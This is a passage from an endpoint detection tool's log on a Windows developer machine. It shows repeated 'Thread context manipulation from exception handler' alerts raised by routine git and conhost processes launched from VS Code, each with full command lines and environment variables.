GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:51:03+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 133 + Pid: 5192 + Tid: 12824 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.2603919 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 4105e2000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5a3c3080, name➜ conhost.exe, pid➜ 3400, ppid➜ 5192, real_ppid➜ 5192, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.2603919 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5192 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:03+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 135 + Pid: 14492 + Tid: 16108 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.2670025 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 19b4cc000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5720a080, name➜ conhost.exe, pid➜ 2504, ppid➜ 14492, real_ppid➜ 14492, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.2670025 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 14492 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:03+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 137 + Pid: 5192 + Tid: 12824 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.2994117 +0100 CET + Params: cmdline➜ git.exe config --get commit.template, directory_table_base➜ 40b90a000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b625080, name➜ git.exe, pid➜ 16948, ppid➜ 5192, real_ppid➜ 5192, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.2994117 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5192 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:03+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 139 + Pid: 14492 + Tid: 16108 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.3051276 +0100 CET + Params: cmdline➜ git.exe for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 2904f7000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58a7e080, name➜ git.exe, pid➜ 8680, ppid➜ 14492, real_ppid➜ 14492, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.3051276 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 14492 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 147 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.3851609 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" status -z -uall, directory_table_base➜ 32130c000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b877080, name➜ git.exe, pid➜ 8896, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.3851609 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 149 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.3915179 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 17dbd5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b879080, name➜ git.exe, pid➜ 1952, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.3915179 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess 